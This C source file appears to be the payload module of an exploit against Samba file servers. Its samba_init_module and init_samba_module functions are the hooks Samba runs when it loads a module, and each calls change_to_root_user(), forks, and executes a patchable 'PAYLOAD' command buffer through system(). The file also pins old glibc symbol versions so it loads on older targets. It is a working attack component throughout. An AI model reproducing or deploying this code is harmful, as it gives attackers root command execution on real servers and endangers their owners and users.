#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>

#ifdef OLD_LIB_SET_1
__asm__(".symver system,system@GLIBC_2.0");
__asm__(".symver fork,fork@GLIBC_2.0");
#endif

#ifdef OLD_LIB_SET_2
__asm__(".symver system,system@GLIBC_2.2.5");
__asm__(".symver fork,fork@GLIBC_2.2.5");
#endif

#define PAYLOAD_SIZE 10000
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};

extern bool change_to_root_user(void);

// Samba 4 looks for samba_init_module
int samba_init_module(void)
{
  change_to_root_user();
  if (! fork()) {
    system((const char*)payload);
  }
  return 0;
}

// Samba 3 looks for init_samba_module
int init_samba_module(void) {  return samba_init_module(); }
